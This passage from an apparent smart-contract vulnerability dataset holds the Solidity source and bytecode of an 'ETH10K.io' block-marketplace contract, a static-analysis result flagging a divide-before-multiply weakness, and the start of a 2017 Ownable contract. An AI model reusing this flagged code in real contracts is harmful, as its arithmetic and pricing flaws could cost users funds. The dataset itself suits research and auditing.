== msg.sender); require(ownerOfItem[ids[3]] == msg.sender); require(ids[0]+ (10**12) == ids[1]); require(ids[0]+ (10**8) == ids[2]); require(ids[0]+ (10**8) + (10**12) == ids[3]); uint256 newPrice = priceOfItem[ids[0]]+priceOfItem[ids[1]]+priceOfItem[ids[2]]+priceOfItem[ids[3]]; uint256 newId = ids[0] + ids[0]%(10**8); listedItems.push(newId); priceOfItem[newId] = newPrice; ownerOfItem[newId] = msg.sender; ownerOfItem[ids[0]] = address(0); ownerOfItem[ids[1]] = address(0); ownerOfItem[ids[2]] = address(0); ownerOfItem[ids[3]] = address(0); } function checkIsOnSale(uint256 _ypos)public view returns(bool isOnSale){ if(_ypos<Reserved_upRow||_ypos>Reserved_downRow){ return false; }else{ return true; } } function generateId(uint256 _xpos,uint256 _ypos,uint256 _size)internal pure returns(uint256 _id){ uint256 temp= _xpos * (10**12) + _ypos * (10**8) + _size*(10**4); return temp; } function parseId(uint256 _id)internal pure returns(uint256 _x,uint256 _y,uint256 _size){ uint256 xpos = _id / (10**12); uint256 ypos = (_id-xpos*(10**12)) / (10**8); uint256 size = _id % (10**5) / (10**4); return (xpos,ypos,size); } function setUserName(string _name)payable public{ require(msg.value >= 0.01 ether); usernameOfAddress[msg.sender] = _name; uint256 excess = msg.value - 0.01 ether; if (excess > 0) { msg.sender.transfer(excess); } } function getUserName()public view returns(string name){ return usernameOfAddress[msg.sender]; } function getUserNameOf(address _user)public view returns(string name){ return usernameOfAddress[_user]; } function addBlock(address _to, uint256 _xpos,uint256 _ypos,uint256 _size,uint256 _price) onlyAdmins() public { require(checkIsOnSale(_ypos) == true); require(_size == 1); require(_xpos + _size <= MAX_COLS); uint256 _itemId = generateId(_xpos,_ypos,_size); require(priceOf(_itemId)==0); require(ownerOf(_itemId)==address(0)); listedItems.push(_itemId); priceOfItem[_itemId] = _price; ownerOfItem[_itemId] = _to; } //Buy the block with somebody owned already function buyOld (uint256 _index) payable public { require(_index!=0); require(msg.value >= priceOf(_index)); require(ownerOf(_index) != msg.sender); require(ownerOf(_index) != address(0)); uint256 price = priceOf(_index); address oldOwner = ownerOfItem[_index]; priceOfItem[_index] = calculateNextPrice(price); uint256 excess = msg.value.sub(price); address newOwner = msg.sender; ownerOfItem[_index] = newOwner; uint256 devCut = calculateDevCut(price); oldOwner.transfer(price.sub(devCut)); if (excess > 0) { newOwner.transfer(excess); } } //Buy a new block without anybody owned function buyNew (uint256 _xpos,uint256 _ypos,uint256 _size) payable public { require(checkIsOnSale(_ypos) == true); require(_size == 1); require(_xpos + _size <= MAX_COLS); uint256 _itemId = generateId(_xpos,_ypos,_size); require(priceOf(_itemId)==0); require(ownerOf(_itemId)==address(0)); uint256 price =startingPrice; address oldOwner = owner; listedItems.push(_itemId); priceOfItem[_itemId] = calculateNextPrice(price); uint256 excess = msg.value.sub(price); address newOwner = msg.sender; ownerOfItem[_itemId] = newOwner; uint256 devCut = calculateDevCut(price); oldOwner.transfer(price.sub(devCut)); if (excess > 0) { newOwner.transfer(excess); } } function MergeStatus() public view returns (bool _MergeOpen) { return mergeEnabled; } /* ERC721 */ function implementsERC721() public view returns (bool _implements) { return erc721Enabled; } function name() public pure returns (string _name) { return "ETH10K.io"; } function symbol() public pure returns (string _symbol) { return "block"; } function totalSupply() public view returns (uint256 _totalSupply) { uint256 total = 0; for(uint256 i=0; i<listedItems.length; i++){ if(ownerOf(listedItems[i])!=address(0)){ total++; } } return total; } function balanceOf (address _owner) public view returns (uint256 _balance) { uint256 counter = 0; for (uint256 i = 0; i < listedItems.length; i++) { if (ownerOf(listedItems[i]) == _owner) { counter++; } } return counter; } function ownerOf (uint256 _itemId) public view returns (address _owner) { return ownerOfItem[_itemId]; } function cellsOf (address _owner) public view returns (uint256[] _tokenIds) { uint256[] memory items = new uint256[](balanceOf(_owner)); uint256 itemCounter = 0; for (uint256 i = 0; i < listedItems.length; i++) { if (ownerOf(listedItems[i]) == _owner) { items[itemCounter] = listedItems[i]; itemCounter += 1; } } return items; } function getAllCellIds () public view returns (uint256[] _tokenIds) { uint256[] memory items = new uint256[](totalSupply()); uint256 itemCounter = 0; for (uint256 i = 0; i < listedItems.length; i++) { if (ownerOfItem[listedItems[i]] != address(0)) { items[itemCounter] = listedItems[i]; itemCounter += 1; } } return items; } /* Read */ function isAdmin (address _admin) public view returns (bool _isAdmin) { return admins[_admin]; } function startingPriceOf () public view returns (uint256 _startingPrice) { return startingPrice; } function priceOf (uint256 _itemId) public view returns (uint256 _price) { return priceOfItem[_itemId]; } function nextPriceOf (uint256 _itemId) public view returns (uint256 _nextPrice) { return calculateNextPrice(priceOf(_itemId)); } function allOf (uint256 _itemId) external view returns (address _owner, uint256 _startingPrice, uint256 _price, uint256 _nextPrice, uint256 _xpos, uint256 _ypos, uint256 _size) { uint256 xpos; uint256 ypos; uint256 size; (xpos,ypos,size) = parseId(_itemId); return (ownerOfItem[_itemId],startingPriceOf(),priceOf(_itemId),nextPriceOf(_itemId),xpos,ypos,size); } function getAllCellInfo()external view returns(uint256[] _tokenIds,uint256[] _prices, address[] _owners){ uint256[] memory items = new uint256[](totalSupply()); uint256[] memory prices = new uint256[](totalSupply()); address[] memory owners = new address[](totalSupply()); uint256 itemCounter = 0; for (uint256 i = 0; i < listedItems.length; i++) { if (ownerOf(listedItems[i]) !=address(0)) { items[itemCounter] = listedItems[i]; prices[itemCounter] = priceOf(listedItems[i]); owners[itemCounter] = ownerOf(listedItems[i]); itemCounter += 1; } } return (items,prices,owners); } function getAllCellInfoFrom_To(uint256 _from, uint256 _to)external view returns(uint256[] _tokenIds,uint256[] _prices, address[] _owners){ uint256 totalsize = totalSupply(); require(_from <= _to); require(_to < totalsize); uint256 size = _to-_from +1; uint256[] memory items = new uint256[](size); uint256[] memory prices = new uint256[](size); address[] memory owners = new address[](size); uint256 itemCounter = 0; for (uint256 i = _from; i < listedItems.length; i++) { if (ownerOf(listedItems[i]) !=address(0)) { items[itemCounter] = listedItems[i]; prices[itemCounter] = priceOf(listedItems[i]); owners[itemCounter] = ownerOf(listedItems[i]); itemCounter += 1; if(itemCounter > _to){ break; } } } return (items,prices,owners); } function getMaxMerge()external view returns(uint256 _maxMergeSize){ return max_merge_size; } function showBalance () onlyAdmins() public view returns (uint256 _ProfitBalance) { return this.balance; } }
0x6060604052600436106101cc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168062afd295146101d15780630253a95a146102e25780630562b9f71461030b57806306fdde031461032e5780630cb743a5146103bc5780631051db34146103d457806312958f1c1461040157806313af40351461048f5780631785f53c146104c857806318160ddd1461050157806324d30d541461052a57806324d7806c1461054f5780632b5914fe146105a05780632e4f43bf146105f25780633cf3d6d81461067f5780635ba9e48e146107795780635cee9ea7146107b05780636352211e146107da578063651212051461083d5780636b45adf314610874578063704802751461090257806370a082311461093b57806371dc761e1461098857806376897b901461099d57806381b2d07b146109cf578063853828b6146109f857806395d89b4114610a0d578063a882660214610a9b578063ab99e48f14610b05578063b10d539b14610b33578063b9186d7d14610b60578063d3f71ecc14610b97578063d5cc881314610bd2578063e08503ec14610bfb578063e69852d014610c32578063ee41858e14610ce4578063fb7cb85014610d41575b600080fd5b34156101dc57600080fd5b6101fb6004808035906020019091908035906020019091905050610d67565b60405180806020018060200180602001848103845287818151815260200191508051906020019060200280838360005b8381101561024657808201518184015260208101905061022b565b50505050905001848103835286818151815260200191508051906020019060200280838360005b8381101561028857808201518184015260208101905061026d565b50505050905001848103825285818151815260200191508051906020019060200280838360005b838110156102ca5780820151818401526020810190506102af565b50505050905001965050505050505060405180910390f35b34156102ed57600080fd5b6102f5610fb7565b6040518082815260200191505060405180910390f35b341561031657600080fd5b61032c6004808035906020019091905050610fd0565b005b341561033957600080fd5b610341611091565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610381578082015181840152602081019050610366565b50505050905090810190601f1680156103ae5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103d260048080359060200190919050506110d4565b005b34156103df57600080fd5b6103e7611303565b604051808215151515815260200191505060405180910390f35b341561040c57600080fd5b61041461131a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610454578082015181840152602081019050610439565b50505050905090810190601f1680156104815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561049a57600080fd5b6104c6600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506113ff565b005b34156104d357600080fd5b6104ff600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061149f565b005b341561050c57600080fd5b61051461154d565b6040518082815260200191505060405180910390f35b341561053557600080fd5b61054d600480803515159060200190919050506115dd565b005b341561055a57600080fd5b610586600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611652565b604051808215151515815260200191505060405180910390f35b6105f0600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506116a8565b005b34156105fd57600080fd5b610613600480803590602001909190505061176e565b604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200187815260200186815260200185815260200184815260200183815260200182815260200197505050505050505060405180910390f35b341561068a57600080fd5b6106926117ff565b60405180806020018060200180602001848103845287818151815260200191508051906020019060200280838360005b838110156106dd5780820151818401526020810190506106c2565b50505050905001848103835286818151815260200191508051906020019060200280838360005b8381101561071f578082015181840152602081019050610704565b50505050905001848103825285818151815260200191508051906020019060200280838360005b83811015610761578082015181840152602081019050610746565b50505050905001965050505050505060405180910390f35b341561078457600080fd5b61079a6004808035906020019091905050611a22565b6040518082815260200191505060405180910390f35b6107d86004808035906020019091908035906020019091908035906020019091905050611a3c565b005b34156107e557600080fd5b6107fb6004808035906020019091905050611c7a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561084857600080fd5b61085e6004808035906020019091905050611cb7565b6040518082815260200191505060405180910390f35b341561087f57600080fd5b6108ab600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611dc8565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156108ee5780820151818401526020810190506108d3565b505050509050019250505060405180910390f35b341561090d57600080fd5b610939600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ec6565b005b341561094657600080fd5b610972600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611f7c565b6040518082815260200191505060405180910390f35b341561099357600080fd5b61099b61200c565b005b34156109a857600080fd5b6109cd600480803560ff1690602001909190803560ff16906020019091905050612085565b005b34156109da57600080fd5b6109e2612116565b6040518082815260200191505060405180910390f35b3415610a0357600080fd5b610a0b61218d565b005b3415610a1857600080fd5b610a2061228a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a60578082015181840152602081019050610a45565b50505050905090810190601f168015610a8d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610aa657600080fd5b610aae6122cd565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610af1578082015181840152602081019050610ad6565b505050509050019250505060405180910390f35b3415610b1057600080fd5b610b31600480803590602001908201803590602001919091929050506123f5565b005b3415610b3e57600080fd5b610b46612b53565b604051808215151515815260200191505060405180910390f35b3415610b6b57600080fd5b610b816004808035906020019091905050612b6a565b6040518082815260200191505060405180910390f35b3415610ba257600080fd5b610bb86004808035906020019091905050612b87565b604051808215151515815260200191505060405180910390f35b3415610bdd57600080fd5b610be5612bd1565b6040518082815260200191505060405180910390f35b3415610c0657600080fd5b610c1c6004808035906020019091905050612bdb565b6040518082815260200191505060405180910390f35b3415610c3d57600080fd5b610c69600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612cec565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610ca9578082015181840152602081019050610c8e565b50505050905090810190601f168015610cd65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610cef57600080fd5b610d3f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091908035906020019091908035906020019091908035906020019091905050612dd3565b005b3415610d4c57600080fd5b610d65600480803560ff16906020019091905050612f6e565b005b610d6f6130e1565b610d776130e1565b610d7f6130f5565b600080610d8a6130e1565b610d926130e1565b610d9a6130f5565b600080610da561154d565b96508a8c11151515610db657600080fd5b868b101515610dc457600080fd5b60018c8c0301955085604051805910610dda5750595b9080825280602002602001820160405250945085604051805910610dfb5750595b9080825280602002602001820160405250935085604051805910610e1c5750595b90808252806020026020018201604052509250600091508b90505b600880549050811015610fa057600073ffffffffffffffffffffffffffffffffffffffff16610e7f600883815481101515610e6e57fe5b906000526020600020900154611c7a565b73ffffffffffffffffffffffffffffffffffffffff16141515610f9357600881815481101515610eab57fe5b9060005260206000209001548583815181101515610ec557fe5b9060200190602002018181525050610ef6600882815481101515610ee557fe5b906000526020600020900154612b6a565b8483815181101515610f0457fe5b9060200190602002018181525050610f35600882815481101515610f2457fe5b906000526020600020900154611c7a565b8383815181101515610f4357fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191508a821115610f9257610fa0565b5b8080600101915050610e37565b848484995099509950505050505050509250925092565b60008060029054906101000a900460ff1660ff16905090565b3373ffffffffffffffffffffffffffffffffffffffff16600060039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561102c57600080fd5b600060039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561108e57600080fd5b50565b611099613109565b6040805190810160405280600981526020017f45544831304b2e696f0000000000000000000000000000000000000000000000815250905090565b60008060008060008086141515156110eb57600080fd5b6110f486612b6a565b341015151561110257600080fd5b3373ffffffffffffffffffffffffffffffffffffffff1661112287611c7a565b73ffffffffffffffffffffffffffffffffffffffff161415151561114557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff1661116687611c7a565b73ffffffffffffffffffffffffffffffffffffffff161415151561118957600080fd5b61119286612b6a565b94506009600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1693506111d385612bdb565b600a6000888152602001908152602001600020819055506111fd8534612fe490919063ffffffff16565b9250339150816009600088815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061125d85611cb7565b90508373ffffffffffffffffffffffffffffffffffffffff166108fc61128c8388612fe490919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015156112b157600080fd5b60008311156112fb578173ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f1935050505015156112fa57600080fd5b5b505050505050565b6000600260009054906101000a900460ff16905090565b611322613109565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113f55780601f106113ca576101008083540402835291602001916113f5565b820191906000526020600020905b8154815290600101906020018083116113d857829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600060039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561145b57600080fd5b80600060036101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600060039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156114fb57600080fd5b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff021916905550565b6000806000809150600090505b6008805490508110156115d557600073ffffffffffffffffffffffffffffffffffffffff166115a260088381548110151561159157fe5b906000526020600020900154611c7a565b73ffffffffffffffffffffffffffffffffffffffff161415156115c85781806001019250505b808060010191505061155a565b819250505090565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561163557600080fd5b80600260016101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000662386f26fc1000034101515156116c057600080fd5b81600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020908051906020019061171392919061311d565b50662386f26fc1000034039050600081111561176a573373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561176957600080fd5b5b5050565b6000806000806000806000806000806117868b612ffd565b809350819450829550505050600960008c815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166117ce612bd1565b6117d78d612b6a565b6117e08e611a22565b8686869950995099509950995099509950505050919395979092949650565b6118076130e1565b61180f6130e1565b6118176130f5565b61181f6130e1565b6118276130e1565b61182f6130f5565b60008061183a61154d565b6040518059106118475750595b9080825280602002602001820160405250945061186261154d565b60405180591061186f5750595b9080825280602002602001820160405250935061188a61154d565b6040518059106118975750595b9080825280602002602001820160405250925060009150600090505b600880549050811015611a0f57600073ffffffffffffffffffffffffffffffffffffffff166118fb6008838154811015156118ea57fe5b906000526020600020900154611c7a565b73ffffffffffffffffffffffffffffffffffffffff16141515611a025760088181548110151561192757fe5b906000526020600020900154858381518110151561194157fe5b906020019060200201818152505061197260088281548110151561196157fe5b906000526020600020900154612b6a565b848381518110151561198057fe5b90602001906020020181815250506119b16008828154811015156119a057fe5b906000526020600020900154611c7a565b83838151811015156119bf57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b80806001019150506118b3565b8484849750975097505050505050909192565b6000611a35611a3083612b6a565b612bdb565b9050919050565b60008060008060008060011515611a5289612b87565b1515141515611a6057600080fd5b600187141515611a6f57600080fd5b604060ff16878a0111151515611a8457600080fd5b611a8f898989613065565b95506000611a9c87612b6a565b141515611aa857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16611ac987611c7a565b73ffffffffffffffffffffffffffffffffffffffff16141515611aeb57600080fd5b6007549450600060039054906101000a900473ffffffffffffffffffffffffffffffffffffffff16935060088054806001018281611b29919061319d565b916000526020600020900160008890919091505550611b4785612bdb565b600a600088815260200190815260200160002081905550611b718534612fe490919063ffffffff16565b9250339150816009600088815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611bd185611cb7565b90508373ffffffffffffffffffffffffffffffffffffffff166108fc611c008388612fe490919063ffffffff16565b9081150290604051600060405180830381858888f193505050501515611c2557600080fd5b6000831115611c6f578173ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f193505050501515611c6e57600080fd5b5b505050505050505050565b60006009600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000600354821015611cf157611cea6064611cdc60058561308b90919063ffffffff16565b6130c690919063ffffffff16565b9050611dc3565b600454821015611d2957611d226064611d1460048561308b90919063ffffffff16565b6130c690919063ffffffff16565b9050611dc3565b600554821015611d6157611d5a6064611d4c60038561308b90919063ffffffff16565b6130c690919063ffffffff16565b9050611dc3565b600654821015611d9957611d926064611d8460038561308b90919063ffffffff16565b6130c690919063ffffffff16565b9050611dc3565b611dc06064611db260028561308b90919063ffffffff16565b6130c690919063ffffffff16565b90505b919050565b611dd06130e1565b611dd86130e1565b600080611de485611f7c565b604051805910611df15750595b9080825280602002602001820160405250925060009150600090505b600880549050811015611ebb578473ffffffffffffffffffffffffffffffffffffffff16611e54600883815481101515611e4357fe5b906000526020600020900154611c7a565b73ffffffffffffffffffffffffffffffffffffffff161415611eae57600881815481101515611e7f57fe5b9060005260206000209001548383815181101515611e9957fe5b90602001906020020181815250506001820191505b8080600101915050611e0d565b829350505050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600060039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611f2257600080fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000806000809150600090505b600880549050811015612002578373ffffffffffffffffffffffffffffffffffffffff16611fd0600883815481101515611fbf57fe5b906000526020600020900154611c7a565b73ffffffffffffffffffffffffffffffffffffffff161415611ff55781806001019250505b8080600101915050611f89565b8192505050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600060039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561206857600080fd5b6001600260006101000a81548160ff021916908315150217905550565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156120dd57600080fd5b816000806101000a81548160ff021916908360ff16021790555080600060016101000a81548160ff021916908360ff1602179055505050565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561217057600080fd5b3073ffffffffffffffffffffffffffffffffffffffff1631905090565b3373ffffffffffffffffffffffffffffffffffffffff16600060039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156121e957600080fd5b60003073ffffffffffffffffffffffffffffffffffffffff163111151561220f57600080fd5b600060039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561228857600080fd5b565b612292613109565b6040805190810160405280600581526020017f626c6f636b000000000000000000000000000000000000000000000000000000815250905090565b6122d56130e1565b6122dd6130e1565b6000806122e861154d565b6040518059106122f55750595b9080825280602002602001820160405250925060009150600090505b6008805490508110156123ec57600073ffffffffffffffffffffffffffffffffffffffff166009600060088481548110151561234957fe5b906000526020600020900154815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156123df576008818154811015156123b057fe5b90600052602060002090015483838151811015156123ca57fe5b90602001906020020181815250506001820191505b8080600101915050612311565b82935050505090565b600080600260019054906101000a900460ff16151561241357600080fd5b60048484905014151561242557600080fd5b600060029054906101000a900460ff1660ff166127106305f5e10086866000818110151561244f57fe5b9050602002013581151561245f57fe5b0681151561246957fe5b0410151561247657600080fd5b600060029054906101000a900460ff1660ff166127106305f5e1008686600181811015156124a057fe5b905060200201358115156124b057fe5b068115156124ba57fe5b041015156124c757600080fd5b600060029054906101000a900460ff1660ff166127106305f5e1008686600281811015156124f157fe5b9050602002013581151561250157fe5b0681151561250b57fe5b0410151561251857600080fd5b600060029054906101000a900460ff1660ff166127106305f5e10086866003818110151561254257fe5b9050602002013581151561255257fe5b0681151561255c57fe5b0410151561256957600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166009600086866000818110151561259357fe5b90506020020135815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156125eb57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166009600086866001818110151561261557fe5b90506020020135815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561266d57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166009600086866002818110151561269757fe5b90506020020135815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156126ef57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166009600086866003818110151561271957fe5b90506020020135815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561277157600080fd5b83836001818110151561278057fe5b9050602002013564e8d4a5100085856000818110151561279c57fe5b90506020020135011415156127b057600080fd5b8383600281811015156127bf57fe5b905060200201356305f5e1008585600081811015156127da57fe5b90506020020135011415156127ee57600080fd5b8383600381811015156127fd57fe5b9050602002013564e8d4a510006305f5e10086866000818110151561281e57fe5b90506020020135010114151561283357600080fd5b600a600085856003818110151561284657fe5b90506020020135815260200190815260200160002054600a600086866002818110151561286f57fe5b90506020020135815260200190815260200160002054600a600087876001818110151561289857fe5b90506020020135815260200190815260200160002054600a60008888600081811015156128c157fe5b9050602002013581526020019081526020016000205401010191506305f5e1008484600081811015156128f057fe5b9050602002013581151561290057fe5b0684846000818110151561291057fe5b905060200201350190506008805480600101828161292e919061319d565b91600052602060002090016000839091909150555081600a600083815260200190815260200160002081905550336009600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960008686600081811015156129c257fe5b90506020020135815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060096000868660018181101515612a2a57fe5b90506020020135815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060096000868660028181101515612a9257fe5b90506020020135815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060096000868660038181101515612afa57fe5b90506020020135815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b6000600260019054906101000a900460ff16905090565b6000600a6000838152602001908152602001600020549050919050565b60008060009054906101000a900460ff1660ff16821080612bb95750600060019054906101000a900460ff1660ff1682115b15612bc75760009050612bcc565b600190505b919050565b6000600754905090565b6000600354821015612c1557612c0e605f612c0060c88561308b90919063ffffffff16565b6130c690919063ffffffff16565b9050612ce7565b600454821015612c4d57612c466060612c3860878561308b90919063ffffffff16565b6130c690919063ffffffff16565b9050612ce7565b600554821015612c8557612c7e6061612c70607d8561308b90919063ffffffff16565b6130c690919063ffffffff16565b9050612ce7565b600654821015612cbd57612cb66061612ca860758561308b90919063ffffffff16565b6130c690919063ffffffff16565b9050612ce7565b612ce46062612cd660738561308b90919063ffffffff16565b6130c690919063ffffffff16565b90505b919050565b612cf4613109565b600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612dc75780601f10612d9c57610100808354040283529160200191612dc7565b820191906000526020600020905b815481529060010190602001808311612daa57829003601f168201915b50505050509050919050565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515612e2d57600080fd5b60011515612e3a85612b87565b1515141515612e4857600080fd5b600183141515612e5757600080fd5b604060ff1683860111151515612e6c57600080fd5b612e77858585613065565b90506000612e8482612b6a565b141515612e9057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16612eb182611c7a565b73ffffffffffffffffffffffffffffffffffffffff16141515612ed357600080fd5b60088054806001018281612ee7919061319d565b91600052602060002090016000839091909150555081600a600083815260200190815260200160002081905550856009600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050505050565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515612fc657600080fd5b80600060026101000a81548160ff021916908360ff16021790555050565b6000828211151515612ff257fe5b818303905092915050565b60008060008060008064e8d4a510008781151561301657fe5b0492506305f5e10064e8d4a510008402880381151561303157fe5b049150612710620186a08881151561304557fe5b0681151561304f57fe5b0490508282829550955095505050509193909250565b60008061271083026305f5e100850264e8d4a51000870201019050809150509392505050565b60008060008414156130a057600091506130bf565b82840290508284828115156130b157fe5b041415156130bb57fe5b8091505b5092915050565b60008082848115156130d457fe5b0490508091505092915050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061315e57805160ff191683800117855561318c565b8280016001018555821561318c579182015b8281111561318b578251825591602001919060010190613170565b5b50905061319991906131c9565b5090565b8154818355818115116131c4578183600052602060002091820191016131c391906131c9565b5b505050565b6131eb91905b808211156131e75760008160009055506001016131cf565b5090565b905600a165627a7a723058207edf26e30c5e8b6eaef92be18e6693c25e7621308a62b08878d3a875eabbd2f20029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
1,734
0x9e48d8b1ed03654c2c85ab3cfbd0b7c35b10e270
/** *Submitted for verification at Etherscan.io on 2017-11-28 */ pragma solidity ^0.4.17; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { 